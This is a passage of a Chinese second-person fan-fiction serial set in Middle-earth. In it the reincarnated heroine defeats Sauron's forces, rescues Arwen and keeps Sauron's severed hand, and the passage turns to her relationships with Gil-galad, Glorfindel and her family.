你又在四处搜寻公主阿尔温的身影,她按照你之前所说的一直朝着东面逃跑,中途都没有停下来过,你捕捉到她奔跑着的背影,在她的去路上正有一只巨人挡在前面,眼看着他们就要打个照面了,你也朝着她的方向跑去,途中还踩着一只座狼乘坐顺风车,路上那只座狼一直在试图把你从背上甩下来,但是你的手死死地攥住它的后脖颈,任凭它拼命挣扎,那只揪着后脖颈的手都纹丝不动。 就要接近阿尔温的时候你就又用宝剑刺穿座狼的脑袋直接来了个急刹车,因为惯性的缘故在那只座狼停下来以后你的重心还是朝着前面移动,好在你及时调整好姿势,这才控制住自己的重心,你在阿尔温面前停下,那个巨人也出现在你们的不远处,巨人手里的流星锤敲打地面,顷刻间地面裂开无数条缝隙,空气中尘土飞扬,可见度一下子就降低了不少。 你微微眯起眼睛,将阿尔温护在身后,你头也没回地对他说:“留意这周围的飞沙走石。” 巨人虽然行动迟缓,但是他每一次攻击造成的威力都很大,尤其是四处飞溅开来的碎石,你这里说的碎石都是有你拳头那么大的石块,有的甚至比你的脑袋还要大,被这样的碎石砸一下很容易当即陷入昏迷。 阿尔温的手里还有一把不知道从哪里抢来的长剑,看那做工就不像是精灵出品的,更像是她从其他人类那里抢来的,那把长剑上还沾染着不少血液,一看就知道在你到来之前她就已经杀死了不少半兽人。 这位精灵公主和你想象中的有些不一样,你原本听埃尔拉丹和埃洛希尔的描述还觉得他们的妹妹性格温和柔软,但是现在看来,要么就是他们压根不了解自己的妹妹,要么就是阿尔温未曾在其他精灵面前表露过这一面。 阿尔温举起手中的长剑挡去飞过来的好几块碎石,等周围的尘土稍微散去一些,她便瞧见你提起宝剑朝着那只巨人奔去,一路沿着他的小腿往上爬,你攀爬的动作干净简练,眨眼间就来到了这只巨人的头顶,原本坐在巨人头顶控制巨人的半兽人一下子都没有反应过来,而下一秒你的宝剑就已经让他的脑袋和身体分了家。 一脚将半兽人的尸体踹开,然后你理所当然地坐在巨人的脑袋上,取而代之地控制这只巨人,一开始你的操作还不太熟练,那只巨人走起路来都摇摇晃晃的,随时都在倒地不起的边缘徘徊,好在后来你找到控制巨人的窍门,在你的控制下,这只巨人横扫了一片半兽人军队,甚至还毁掉了一座高塔,索伦也察觉到你这里制造出来的动静。 你的笑容恣意张扬,在索伦看来这就是明晃晃的挑衅,可是从领地缺口涌入的精灵大军就要将他包围,他又不可能马上赶到你身边。 无论怎么看,现在的明智之举就是趁机逃跑,而不是继续在这里和你们缠斗,因为他已经能够看出自己这一边的颓势了,要不了多久精灵大军就会把他的手下歼灭,理智告诉索伦应该逃跑,但是愤怒却告诉他应该就此杀死你的。 于是在种种因素的考虑之下,他选择在逃跑前向你发动攻击,他另外一只完好无损的右手握着长剑,被你砍下的左手手腕空荡荡的,这也对他的攻击产生不利影响。 只见你游刃有余地接住他的攻击,气急攻心的索伦动了动嘴唇,你忽然有种不太好的预感,他会不会也像他的前主人一样诅咒你呢?但现在多瑞亚斯的美丽安都已经跟随辛葛王回到维林诺了,要是你现在再身中诅咒,那估计会很麻烦,因此你眼疾手快地给了他的侧脸就是一拳,用拳头硬生生地打断他接下来要说的诅咒。 一圈不太解气,而且也不太对称,所以你就又来了一拳,对准他另外一边的脸颊,这样一来两边的脸颊就都对称了,而且这么猝不及防挨了你两拳的索伦一时之间都忘了自己刚才要对你说什么诅咒。 简单来说就是他现在被你给两拳打蒙了,大脑暂时一片空白,你抓住机会准备再给他一剑,但是被他躲开了,你就只能又补了一脚,直接把他踹了下去,就跟你之前对待那个半兽人一样。 但无论怎么说索伦好歹也是一位迈雅,所以他及时调整自己的姿势,将强行降落的伤害降到最低。 你本来还想再追上去的,但是一眨眼,索伦就化作一道黑影混入风中消失不见,等你把周围的半兽人军队解决得差不多了你才把这巨人杀死,然后在他倒地之前沿着他的手臂快速地走下来,又在旁边的地上降落。 其实现在战况就已经十分明朗,毕竟索伦都已经逃跑了,他剩下的手下也都四作鸟兽散,而你也得以喘息一口气,刚才注意力都在战斗上面,你都没留意到自己的手臂还有手背上都出现一道又一道的口子,那都是一些小伤口,也不碍事,就是看上去有些吓人而已,但真要说有多痛,那倒是没有的。 你才走出几步路,阿尔温又来到你面前,她说:“你还好吗?” “我很好。”你先是简短地回答一句,然后又觉得这有些太简略了,就再耐心地补充道:“这上面只是一些小伤口而已,嗯……看上去有些吓人,不过其实没什么影响。” 可阿尔温并没有因为你说的话而消除担忧,实际上你亲眼目睹她的眉毛紧皱,好在这时候你又看见了从远处跑来的几道身影,定睛一看,那正是阿尔温的双生子哥哥埃尔拉丹还有埃洛希尔,话题也理所当然地落在这对兄弟身上。 埃洛希尔着急得都快掉眼泪了,泪水都在他的眼睛里不停打转,他就连说话的声音也变得哽咽,“还好你没事……” 阿尔温无奈地伸出手擦拭埃洛希尔的眼泪,她说:“不要为我哭泣呀。” 埃尔拉丹在哭泣和嘲笑埃洛希尔之间选择了后者,他说:“看到了吗?阿尔温可比你想象的淡定多了,你也就别一个劲地掉眼泪了。” 可是眼泪流出来了,又怎么能那么轻易地收回去呢?埃洛希尔说:“别以为我没发现你在来的路上早就已经哭过了。” 被弟弟戳穿的埃尔拉丹正想着转移话题呢,他想了想,发现刚才还站在旁边的你怎么突然消失不见了?他正疑惑着呢,就发现原来是你被匆匆赶来的阿拉贡抱住了,你的表情和动作都很僵硬,因为你也没想到阿拉贡居然会出现在这里,而且还一见到你就热泪盈眶地抱住 你,不知道的还以为是什么生离死别的场面呢。 “阿拉贡。”你叫了一声他的名字,但是阿拉贡没什么反应,他只是一味地沉默流泪,他怎么会有那么多的眼泪呢?你不禁感到奇怪。 过了好一会,大概是等他缓过来了吧,他才有所反应,“你为什么离开幽谷也不和我说一声呢?在你看来我是你的累赘吗?还是你认为我会阻止你呢?” 唉,怎么一见面他就丢出这么多的问题啊,而且还都是不太好回答的问题,你先是拍拍他的后背示意他松开手。 总算是从他的怀抱里逃出来了,你后退一步,本想与他拉开距离的,但是他的眼泪源源不断,看得你心烦,你就想着拿出手帕擦拭他的眼泪,结果一摸手帕,刚刚从索伦那里切下来的左手就从手帕里滚了出来,啪嗒一声落在地上。 不过这也确实起到了止住眼泪的作用,因为无论是阿拉贡还是在场的其他精灵他们的目光都被这只断手所吸引,其中最夸张的要数埃洛希尔,他还以为这只手是你的,紧张兮兮地拿起断手,然后对你说:“现在赶紧回幽谷,我父亲应该能把你的手接回去的。” 你提醒他:“您应该再仔细看看的。” 在你提醒之下埃洛希尔又看了看那只断手,发现这只手好像更加宽大一些,不像是你的手,接着他又看了一眼你完好无损的两只手,他这才发出疑惑的声音,“奇怪,那这只手又是从哪里冒出来的呢?” 他总算是问到点子上了,你说:“这是索伦的手。” 很好,现在问题就变成了索伦的左手怎么在你这里,这也是其他精灵外加阿拉贡想要问的问题,你说:“这就是顺手的事情。” 埃洛希尔惊讶道:“所以你是顺走了他的左手?” 嗯……他这么说好像也没错,但总觉得哪里怪怪的,你沉默几秒,然后说:“应该差不多是这样的吧……总之就是我取走了他的左手。” 阿拉贡奇怪道:“可你为什么要保存下来呢?” 唉,这个就说来话长了,而现在可不是你们站在一块闲聊的场合,毕竟战争还没有结束呢,你提醒他们,“这场战斗还没有结束呢,我想这些事情还是放在之后再仔细说吧。” 那倒也是,虽然索伦逃跑了但是他的一部分手下还在负隅顽抗,等到战争彻底结束都已经是几个小时以后的事情了,虽说这场战争出乎你的意料,因为起初你还以为只要偷偷带着阿尔温公主离开就好了,但其他精灵显然不是这么想的,他们正打算趁此机会将索伦的势力一网打尽,只可惜他们还是低估了索伦的狡猾程度,仍旧被他给逃走了。 不过这场战争对你来说也有不少的好处,最主要的好处就是你得到了索伦的左手,说不定能在寻找至尊魔戒的过程中派上用场,另外一个好处就是既然剿灭了索伦的老巢,那么日后夺回领土的事情应该也会顺利不少。 在战争结束以后你帮着清扫战场,其实就是把各种尸体分类然后一把火烧干净,在战争接近尾声的时候吉尔-加拉德就找了过来,他的脸上还沾着些许尘土,当然,你现在的样子也没有好到哪里去,是同样的狼狈,所以谁也别笑话谁,他见到你的第一眼就先是检查你的伤口,确认你受的伤都是一些小伤口才算是松了一口气。 他捧着你的手,说:“我刚才看见你了。” “嗯?我怎么没有看见你?”这也是正常的,因为你刚才的注意力都在敌人身上哪里还会匀出别的注意力给吉尔-加拉德呢。 吉尔-加拉德刚才瞥见你站在巨人的脑袋上,虽然他以前见过你如何骁勇善战杀死半兽人的画面,但巨人和半兽人的杀伤力根本不是一个等级的,所以他看见那一幕的时候心脏都要跳出来了,好在你最后顺着巨人的胳膊平安无事地降落,可他的心跳依旧那么快速,直到现在依旧是心跳加速的状态,他说:“因为刚刚你就站在巨人的脑袋上——” 如果你一个不小心掉下去了又该怎么办呢?他没有将后半句话说出口,因为这听上去就像是在扫兴,但他不说这话,还会有别的精灵说这话的,就比如格洛芬德尔,在大战打响后没多久格洛芬德尔和埃克塞理安也来到这里加入战斗。 “亚玟——”格洛芬德尔略带着急地呼唤你的名字,最先引来的是吉尔-加拉德的目光,你对着格洛芬德尔礼貌地点点头,他说:“你刚才的举动太冒险了。” 你也不知道他嘴里说的举动指的是什么,是指你和索伦一对一吗?还是指你控制巨人横扫千军呢?他说得实在是太模糊了,因此你不由地问道:“什么举动太冒险了?” 格洛芬德尔越过吉尔-加拉德走到你身边,他脸上对你的关心丝毫不掩饰,这使得站在你斜后方的阿拉贡都察觉出什么不对劲的地方了,格洛芬德尔和你的关系那么亲近吗?他记得你和格洛芬德尔好像才认识没多久吧?当然,他这不是在否认格洛芬德尔的友善性格,实际上他是阿拉贡遇到的最友善的诺多精灵了,而且阿拉贡从小到大受到他许多的关照,只是……这次的感觉很微妙。 阿拉贡疑惑地歪了歪脑袋,连带着站在他身边的埃尔拉丹和埃洛希尔也跟着歪着脑袋,在他们之中就只有阿尔温没歪脑袋,她无比认真地注视着你的侧影,她也是刚从哥哥嘴里得知你就是阿拉松的后代,那一位前阵子才回到幽谷的人类后裔。 格洛芬德尔说起刚刚看见你控制巨人的画面,这其实也是吉尔-加拉德想说的,你的反应平淡,应了一声,“嗯,但我这么做至少将战争持续的时间缩短了一个小时。”甚至可能一个小时都不止,而且你也没觉得这算什么冒险。 你的平静态度使得格洛芬德尔急切的关心也变得微不足道起来,格洛芬德尔意识到自己可能说错了话,但是现在想要将话收回去已经来不及了。 你又指挥其他精灵士兵一同清扫战场,这个话题就算是这么跳过去了。 等到一切结束后你才得以喘一口气,一时半会没法回到幽谷,你只能将就着在附近的溪水边清理自己的脸颊和身体,得益于这不远处的末日火山,使得这里的溪水哪怕在晚上都不算太冷,反而有些像是温泉水,这样看来索伦也算是做了一件好事。 将换下的衣服叠好放在河边的石头上,你一步一步地走进小溪里,而后将自己的整个身体都浸泡在温暖的溪水里,手臂上的小伤口都已经凝固,你洗去上面已经结块的血污,其他的污渍都没有血渍那么难清理,你清洗好一会才把皮肤上的污渍擦去。 夜风拂动这周围的树林,树叶簌簌作响,除了树叶摇动的声响,你还听见了另外一阵轻盈的脚步声。 ——有谁在向这里靠近。 你立马回过头,先进入你的视野里的是一抹斗篷的下摆,你顺着那摇曳的下摆往上看,发现来者是阿尔温,她没有戴着斗篷的兜帽,那头柔顺的黑色长发就这样披散在她脑后。 “这里的溪水不会很冷吗?”阿尔温问道。 看她的样子不像是无意之间走到这里来的,更像是有意在寻找你。 你转过身,“不冷,我刚才忘了问您,您应该没有受伤吧?” 阿尔温当然没有受伤,因为你一直都挡在她身前,替她遮挡了绝大部分的攻击,“没有,因为有您为我挡下了许多攻击。” 你靠在旁边的石头上,直觉告诉你她肯定不是为了聊这些无趣的话题才专门找过来的,你主动引导话题,“那您来找我有什么事吗?” 其实阿尔温也不太清楚自己来找你是为了什么,也许只是单纯的好奇心,又或者是为了表达对你的感谢,总之,等她反应过来的时候自己就已经在下意识地寻找你了,她说:“你在拿起宝剑与索伦对峙的时候不会感到害怕吗?” “害怕……?”因为头发也沾染了不少尘土还有血渍,你泡澡的时候头发是散下的,现 在这被打湿的黑色长发有几缕耷拉在你的肩头,阿尔温移开视线,她发觉自己可能来的不是时候,现在的你不太适合与她谈话。 “没有,更多的是兴奋吧,毕竟是他先挑战我的,我很佩服他的勇气,并且因为他的挑战而感到兴奋。”你说。 月光洒在水面上,波光粼粼,那是不同于阳光的柔和光线,这愈发衬托得阿尔温的神色柔和,她注视着你,她还是头一次听到这样的回答,因为如果换做其他精灵和人类,大概率会回答愤怒亦或是恐惧吧,但你与他们截然不同。 “您是我见过非常与众不同的人类。”阿尔温半跪在小溪边,伴随着她的俯身,那柔顺的黑发长发也从脑后飘到前面,那一缕头发的末梢都要接触到水面了。 “谢谢。”和阿尔温接触下来就会发现她和露西恩的性格有所不同,尽管她们之间的长相十分相似,但不代表她们的内在也会相似,实际上你认为阿尔温比起露西恩又多了几分若有若无的哀伤,这哀伤是时代赋予整个精灵种族的,因为伴随着时间流逝,当时间来到的第三纪元后,按照伊露维塔制定的爱努大乐章,精灵理应退出历史舞台,而人类也将崛起。 因此这个纪元的精灵不再像是第一第二纪元那样生机勃勃充满探索欲和好奇心,他们逐渐对这样的生活感到厌倦,有的精灵选择西渡回到维林诺,而有的精灵却决定继续留在中土,后者往往都是找到了自己真正想要的东西,又或者是自己的真爱,这样的精灵终究是少数。 放在以前,阿尔温应该是属于前者,但是现在,尤其是在与你相遇后,她的立场也从前者一点一点地转变为后者。 第87章 第87章“那我也不能保证自己会…… 你和阿尔温四目相对,其实你觉得现在并不算是个适合交谈的场合,但因为你曾经对露西恩的好感,使得你对阿尔温也格外宽容,你又泡了一会,这才缓缓地从溪水里走出来,擦去身上残留的水珠,又顺带把那头发擦得半干,只是过了一会等你换好衣服,那发梢又开始滴滴答答地往下滴水。 “如果您不介意的话……”阿尔温拿出自己那条披肩,这披肩你之前都没见过,也不知道那是从哪里冒出来的,在得到你的允许后她才将那披肩披在你的肩膀上,隔绝发梢的水珠。 你们并没有马上回去,而是在小溪边生了火,你安静地坐在火堆旁边烘烤自己的头发,你还是不太明白阿尔温突然来找你有什么用意,毕竟你和她今天才见面,只能用认识来形容你们之间的关系,可她表现出来的态度又不符合这一层关系,这不由得让你感到疑惑,难道你中间错过了什么吗? “您当初没能顺利去往幽谷,那么之后又是去了哪里呢?”阿尔温似是无意地问道。 捻起一缕长发,火光漫上那湿漉漉的头发,一点一点地烘干表面的水分,你漫不经心地说:“去了别的地方,还有别的好心精灵收留了我。”你知道她接下来就会问是哪里的精灵,于是你主动提及此事,“是密林的精灵,那的精灵王瑟兰迪尔收留了我和我的骑士,我在那里安然无恙地度过了十多年。” 虽然瑟兰迪尔的脾气比不得幽谷的精灵,也没有埃尔隆德那么温和,但总的来说,他还是一位善良的精灵,否则也不会在危难时刻帮助你。 阿尔温瞥见你的一缕头发即将被火苗吞噬,就眼疾手快地勾起你那一缕长发,轻声细语地说:“那他真是善良。” 你转过头,阿尔温手里那一缕属于你的长发也伴随着你的动作从她指缝间滑走,她愣了一下,“是的,我遇到的精灵都很善良,包括您也是。” 你从她的眼神里看见了对你的好奇,大概这就是她专门来寻找你的原因吧,不过难道这位精灵公主在此之前也没有见过人类吗?否则又为什么会对你感到好奇呢? “您在此之前有接触过人类吗?” “有过,但是他们都不能与您相比较。”她对你给出的评价很高,就连你都觉得有些夸张了,你摆了摆手,“我不那么认为。” “如果真的要找一位能与您相较的,我想应该只有曾经多尔罗明的君主伊玟陛下了。” 有一瞬间你都怀疑她是不是故意那么说的,她实际上也已经辨认出你的真实身份了,但是转念一想,这个可能性很小,先不提她根本没见过曾经的你,主要从她的神色来看也不像是把你认出来的模样,所以只可能是一个巧合。 “您说的那一位,我也曾听很多人说起过,但人们对她的评价褒贬不一,有的甚至认为她是一位残暴的君主。”当然将你评价为残暴君主的学者往往都是男性,所以他们的评价可信度也不高。 阿尔温摇了摇头,“我不那么认为,她凭一己之力改变了一个国家甚至在人类中都留下深远影响,她无疑是一位优秀的君主。” “看起来您好像很欣赏她。”跟眼前这位精灵公主谈论曾经的自己,这感觉很微妙,就好像是在披着马甲谈论自己的另外一个旧马甲。 “是的。”阿尔温浅笑道,“虽然我未曾亲眼见过她,但我钦佩她的勇气与行动力。” 在你和阿尔温的谈话间,其余精灵也在讨论别的事情,比如说刚刚过去的那场战争,聊到一半埃尔拉丹忽然问道:“不过话说回来,你们有谁见到阿尔温在哪里吗?” 被埃尔拉丹那么一说,在场的精灵也开始寻找阿尔温,埃洛希尔说:“我刚才好像看见她往那个方向去了。”说着,他还用手指出一个具体的方向,格洛芬德尔又说:“刚才亚玟也朝着那个方向离开了。” 那么或许你们现在正在聊天,他们是这么猜测的,但埃尔拉丹还是有些不放心,所以就沿着埃洛希尔手指的方向走去,走出一段路后捕捉到不远处隐隐约约的火光,他依循着火光最终来到你们身边,还没等他靠近,你就最先反应过来转头看向他,一看见来者是埃尔拉丹,你那严肃的表情也逐渐变得柔和,你对着他点点头,“埃尔拉丹大人。” “我们刚还在猜你们是不是在聊天呢,看来是被我们猜中了啊。”埃尔拉丹笑着说,等他走近以后阿尔温才侧过头,对哥哥埃尔拉丹说:“你打断了我们的对话。”那话语里带着几分埋怨的意思,埃尔拉丹从善如流地道歉:“抱歉抱歉,我也不是故意的,我就是想要确认你们是否安全。” “如你所见,我们现在很安全。”阿尔温又说。 埃尔拉丹的到来正好让你可以借故结束和阿尔温的对话,毕竟和一个不怎么熟悉的精灵谈论上一个副本的自己总归有些奇怪,不过总的来说你倒是不讨厌阿尔温,相反的,甚至对她还有些喜欢,也许是因为她在前不久结束的那场战争中英勇的表现,也许是因为她柔和中又不失坚毅的性格。 原本湿漉漉的头发差不多都烤干了,你也顺势站起身,对着阿尔温说:“阿尔温公主我们也该回去了。” 本想着再和你聊一会的阿尔温见你那么说,她也就没有强求,也跟着起身,你们两个走在埃尔拉丹后头,走到一半还遇见了同样找过来的吉尔-加拉德,他象征性地对着阿尔温和埃尔拉丹点头示意,旋即又走到你身边,经过这场战争他好像忘了还得和你保持距离的约定,你们之间的相处模式就像是又回到了以前。 你有意放慢步子拉开和阿尔温还有埃尔拉丹的距离,等这段距离足够长了,你才说:“你这么急匆匆地赶过来又有什么事情吗?” “没有……我就是想要见一见你,而且如果我不先找到你的话,肯定还会有其他精灵找你的。”他嘴里所说的其他精灵大概率指的就是格洛芬德尔,他猜的也没错,不得不说,他对格洛芬德尔也很了解。 “但是你的行为在其他人看来就会有些奇怪了。”你说,但是一转眼又瞥见 他自责内疚的神色,你就又觉得自己没必要说那么多,因此到最后你只是叹了一口气,而后说,“算了,这并不是你的错。” 而且现在索伦早已知道你转世的身份外加之他元气大伤,因此也没必要再刻意隐藏。 走在前头的阿尔温时不时回过头瞥你们一眼,她奇怪地问道:“他们两位认识了很久吗?” 埃尔拉丹一开始还没弄明白妹妹阿尔温嘴里的“他们”指的是谁,他“嗯?”了一声,“他们?哪个他们?” “就是吉尔-加拉德大人还有亚玟。” “噢……原来你说的是他们俩啊,也不算很久吧,如果真的要算起来,那我比吉尔-加拉德大人还要更早认识亚玟呢。”埃尔拉丹仔细算了一下时间,因为他是在你到达幽谷的第一天就认识了你,所以无论怎么看都是他比吉尔-加拉德更先一步认识你吧? 阿尔温的表情若有所思,看出她心里装着心事,埃尔拉丹就充当起知心大哥的角色,至于为什么是充当,那是因为在平常的大部分时候他们这对双生子由于性格太活泼所以都没什么做哥哥的样子,而且阿尔温也不是那么柔弱的妹妹,她从很小的时候就十分独立,大概是在一百岁的时候就已经显得非常沉着稳重,一度让埃尔拉丹和埃洛希尔兄弟俩有些失落,毕竟她越是成熟稳重,就越不需要他们的帮助。 而现在呢,阿尔温难得表现出需要帮助的一面,因此埃尔拉丹欣然相助,他说:“有什么事情在困扰着你吗?” “也不算是困扰,我只是有些疑惑而已。”阿尔温轻轻地说,在埃尔拉丹的注视下,她缓缓道来,她察觉出吉尔-加拉德对你特殊的关心,不光是吉尔-加拉德还有格洛芬德尔也是,更重要的是你对于他们的关心表现出来的是略带不耐烦的态度,所以她在想,或许你并不需要他们的关心。 听阿尔温说完这番话,埃尔拉丹皱起眉,他刚才光顾着为妹妹向他求助而感到高兴,却忘了自己说不定没有解决这个问题的能力,这就导致他现在陷入了进退两难的境地,他犹豫了半天,愣是没有憋出一句话来,“呃……” 可恶,早知道就带上埃洛希尔过来了,至少有他在场面就不会那么尴尬了,埃尔拉丹尴尬地眨了眨眼睛,“但我觉得这只是单纯的关心而已。” 这次轮到阿尔温叹了一口气,她就知道自己无法从埃尔拉丹那里得到准确的答案。 “你为什么叹息呀?” “没什么,我在为自己而叹气,我理应早些知道这个问题是很难有答案的,但还是把这个问题交给你,就好像是在为难你一样。” 确实像是在为难,埃尔拉丹在心里默默地接上一句,但他可不会表现出来,他只说:“这不算为难。” 因为你刻意放慢自己的脚步,所以你们与阿尔温还有埃尔拉丹之间的距离也是越拉越远,最后你只能隐约看见他们的背影。 “那位精灵公主和你很合得来。”吉尔-加拉德说,尽管他只是在平铺直叙一个事实,但从他的嘴里说出来,总觉得他好像为此很在意。 夜晚的森林静悄悄的,偶尔还能听见路边草丛里传来的虫鸣,非常有规律地交叠重复,远处的末日火山源源不断地向外释放火光和高温,几乎要将漆黑夜空烧灼出一个洞来。 “你该不会要因为这件事今晚都睡不着觉了吧?”你半开玩笑地说,但吉尔-加拉德的表情很认真,他说:“这不会让我失眠,但在过去的一段时间里,我经常祈祷能在梦里遇见你。” 精灵所说的一段时间,往往都是上百年起步,甚至是几千年。 你移开视线,“那我估计那些维拉都听烦了你的心愿吧。” “我不知道,但也有可能是我的诚意确实感动了他们。”大战结束后的吉尔-加拉德不再像是之前那样总是紧绷着神经,他的姿态肉眼可见地放松下来,唇角始终带着笑。 你们并肩回到暂时驻扎的营地,后来几天你们都在清扫战场,等折返回到幽谷都已经是半个月以后的事情了,回到幽谷的第一件事就是去找埃尔隆德,不过不是去上课的,而是去告诉他你接下来的想法,你打算趁热打铁借此机会把原来失去的土地也给收复回来。 原本在书房里待得好好的埃尔隆德见到你突然来到他的书房,又开始说起自己的计划,并且还递给他一份计划书,上面每一页都洋洋洒洒地写了很多东西,埃尔隆德花了点时间反应过来,意识到你打算再次发动一场战争,只不过这次的是正义的战争。 埃尔隆德仔细阅读你写的计划书,一边阅读一边听你口述,最后你说完了,他也快把那份计划书看完了,他抬起头,神色凝重,“你的计划我大致了解了,但幽谷的军队在刚才的大战中存在伤亡,需要修养一段时间。” “我知道,所以我只希望您能够派遣一小部分的兵力给我。” “你想要就凭这么一点兵力收复失土?”埃尔隆德不想打击你的积极性,但这实在是异想天开,而且不亚于直接去送死,他是绝对不会同意你这样白白送死的,他刚要说出拒绝的话语,只听见你又补充道:“不仅仅是这一部分兵力,还有纳国斯隆德的派兵。” 这就不免让埃尔隆德感到疑惑了,纳国斯隆德怎么会主动派兵呢? “纳国斯隆德?”虽说吉尔-加拉德确实很关心你,但是关心是一回事,主动派兵那就是另外一回事了,而且更重要的是,这件事纳国斯隆德的君主芬罗德知道吗? “是的,纳国斯隆德。” “但是我记得……他们那里的精灵似乎不怎么干涉其他的事情。”这句话套在其他精灵身上也适用,除非是沾亲带故的关系,否则又怎么能要求对方来帮忙呢?而且更重要的一点是现在这个纪元还留在中土的精灵或多或少都已经对这些流血冲突感到厌烦并且下意识地回避。 “这是吉尔-加拉德大人的意思。”你说。 埃尔隆德沉默许久,最后才说:“我明白了,只不过我的建议还是暂缓一段时间,你也需要好好休息。”他从你的眉眼间看到了疲惫的神色,这个话题算是结束了,埃尔隆德又向你表达感谢,“我还得要谢谢你救了阿尔温。” 你垂下眼帘,“这不光是我一个人的功劳,还有其他更多人的功劳。” “我知道——但是,你所做的一切我都会铭记于心的。” 这话听上去有些奇怪,就好像他会记住你一辈子一样,倒也不必记得那么清楚。 “这是我应该做的。”毕竟无论如何你都要和索伦正面交锋的,只不过是早晚的问题,你那么做不光是帮了阿尔温,也是将和索伦交锋的时间提前了,对你来说是一箭双雕的事情。 为了避免和埃尔隆德在这个问题上掰扯太久浪费时间,你干脆利落地跳过这个话题,正好这时阿尔温也来到父亲埃尔隆德的书房,见到你也在书房里,她略带惊讶道:“您也在这里呀。” 既然你都已经把自己想说的事情都说完了,你也没必要再继续留在 这里,于是你对着埃尔隆德还有阿尔温道别后暂时离开。 在你走后阿尔温又问起父亲你刚才都和他说了什么,后者回答道:“一些她接下来的打算。”他没有说得那么具体,而是非常简略地一笔带过。 你在离开埃尔隆德书房后没有马上回自己的房间,因为你还有别的事情要做,而且还是非常重要的事情,那就是把你切下的那只索伦的左手保存下来,你本来还在想能不能麻烦加拉德瑞尔使用魔法把这只断手永久保存的,但是你仔细思考一下,发现这好像有些不太礼貌,毕竟换成谁突然拿着断手来请求帮助都有些冒昧。 因此你决定自己琢磨如何保存这只断手,当然你还有别的帮手,比如说埃洛希尔,他现在就围着这只断手仔细观察,时不时发出各种不重样的单音节,“咦,嘶,唉……” “您要不然还是给个准数吧,一直这样下去我也不知道您的真实想法。” 埃洛希尔总算是说出一句完整的话了,他说:“这只断手还真是诡异啊,你为什么要保存下来呢?是为了当成战利品留作纪念吗?” “也不完全是这个原因。”你说。 埃洛希尔的手指摩挲着他的下巴,“我倒是知道如何保存它,都不需要用到魔法,简单的药剂就行。” 听他这么说,你就不由得想起了防腐剂,在这个世界里科学还没有发展到你以前那个世界的水平,但有些魔药也能够起到防腐的作用。 “您是说使用魔药吗?” 埃洛希尔点了点头,“是的,但是这种魔药没那么容易制作,少说也得要几天才能做出一份,而且我还不能保证一定能成功。” 你坐在工作台旁边的椅子上,“那就麻烦您了。” “这也算不上麻烦,而且你之前不也还帮过我们吗?” 他说的是你帮他们挑选送给阿尔温的礼物吗? “但我所提出的建议似乎没有太高的可行性。”你说,毕竟在经历这件事情之后,你相信埃尔隆德也不会再轻易地让他的女儿离开自己的视线。 “那倒也没有,再怎么说你也给我们提供了一个全新的思路,我和埃尔拉丹都要感谢你。” 既然他都这么说了,你也没有再和他客气。 埃洛希尔的行动力很强,前脚刚说自己要制作魔药,后脚就开始准备各种材料,有的材料你甚至都没有见过,你以前只见过埃欧尔制作魔药,准确来说应该是毒。药才对,只不过两者之间制作起来的复杂程度不相上下。 你站在埃洛希尔身边帮忙打下手,顺便在学习各种药材的处理方式,准备阶段进入尾声的时候,埃洛希尔就又问:“你是不是接下来还要离开幽谷呢?” 虽然他没有得到确切的证据,但是直觉告诉他,你不会在这里停留太久。 “我应该过一段时间就会离开这里。”你没有对埃洛希尔有所隐瞒,因为你刚刚才和他们的父亲说明自己接下来的计划,所以也没必要藏着掖着。 “那你会带上格洛芬德尔吗?”埃洛希尔说,你捣碎药材的动作停顿一下,他又接着说,“我总觉得他会跟着你一块儿去的,因为他好像和你很亲近。” 埃洛希尔这话说的十分委婉,如果要说的确切一些,那应该是格洛芬德尔在下意识地追随你的脚步。 “我还没有考虑过这件事情。”虽说有格洛芬德尔的帮忙固然是对你有利的,但是格洛芬德尔和吉尔-加拉德凑在一块就是会互相看不顺眼,你可不想在收复领土的时候还得要抽空解决他们之间的矛盾,那实在是太费神了。 “那你可以考虑一下,因为……嗯,我总觉得如果你把他丢下的话,说不定他会有些难过的。当然你可别告诉他我说过这话。” 别看格洛芬德尔平常的脾气好像很温和,但是有时候触及到他的底线,那他可就和温和不沾边了。 没有得到你的回答,埃洛希尔不安地问道:“你应该会替我保密的吧?毕竟我们可是朋友啊。” 你起了点坏心思,笑着说:“那我也不能保证自己会不会说漏嘴。” 第88章 第88章“可能是因为你的目光都…… 关于收复失土的计划你还没有告诉自己的母亲吉尔蕾恩,但她也不知道是从哪里得知的这个消息,没过几天她就特意找到了你,彼时的你正要去埃洛希尔的工坊查看防腐药水的制作进度,但没成想在半路上遇到了吉尔蕾恩,在她开口之前你就从她的眼神里猜到了她接下来肯定要和你说些什么。 于是你向她走去,“您有什么事吗?” “你之前和埃尔隆德大人提到了收复领土的事情?”话语间吉尔蕾恩握住你的手,她多想听到你反驳的话语,但等来的却是你的点头,你说:“是的。” “我希望你能够一直待在幽谷,这样会更安全一些。”吉尔蕾恩还是坚持一开始的看法,不能允许你去冒险。 闻言,你反握住她的手腕,反客为主地问道:“如果是阿拉贡呢?他就可以上阵杀敌了吗?您难道不觉得这很不公平吗?仅仅只是因为我的性别就否认我的勇气和实力吗?” 吉尔蕾恩表情严肃,“我没有在否认你的勇气和实力,你是我见过最勇敢的女孩,但是如果你的兄长死在战场上,那么传承血脉的责任就要由你来承担了。” 唉,说到底你在她眼里依旧只是个备选方案而已,起到的作用也只是延续血脉,如果放在上一个副本估计你会狠狠反驳一番之后再转身离去,但在这个副本的你就显得心平气和了不少,那是因为你曾经成功过,所以对其他人的看法和偏见也可以做到丝毫不在意,你说:“这不是我应该承担的责任,这是您一厢情愿强加给我的。” 十多年没见,吉尔蕾恩愈发觉得你变得陌生了许多,又或者是她从来就没有真正地了解过你,如今听到你这么直白的反驳话语,她不由得愣了一下,过了很久才找回自己的声音,“可按照传统向来都是这样的。” “传统也是可以被打破的。”你轻描淡写地说。 吉尔蕾恩终于意识到你无法按照她的预想一直顺从地待在幽谷里,她叹了一口气,就在这时阿拉贡在这条长廊尽头出现,他一眼就看见了你和母亲吉尔蕾恩,看那样子估计你们还在谈论正事,他加快脚步,步履匆匆地走到你们身边,“母亲,亚玟,你们在聊什么?” 虽说你和吉尔蕾恩刚才还存在分歧,但现在又很默契地达成一致没有告诉阿拉贡你们到底聊了什么,吉尔蕾恩说:“没什么,阿拉贡你的身上怎么脏兮兮的?又是刚从外面回来吗?” 阿拉贡没察觉到母亲吉尔蕾恩在转移话题,他低头看了一眼自己的衣服,其实也算不上脏兮兮的,就是衣角沾着星星点点的泥点子而已,他说:“也没有,我就是去周围的森林里转了一圈而已,而且我刚才还看见了飞鸽,送了几封信过来。” 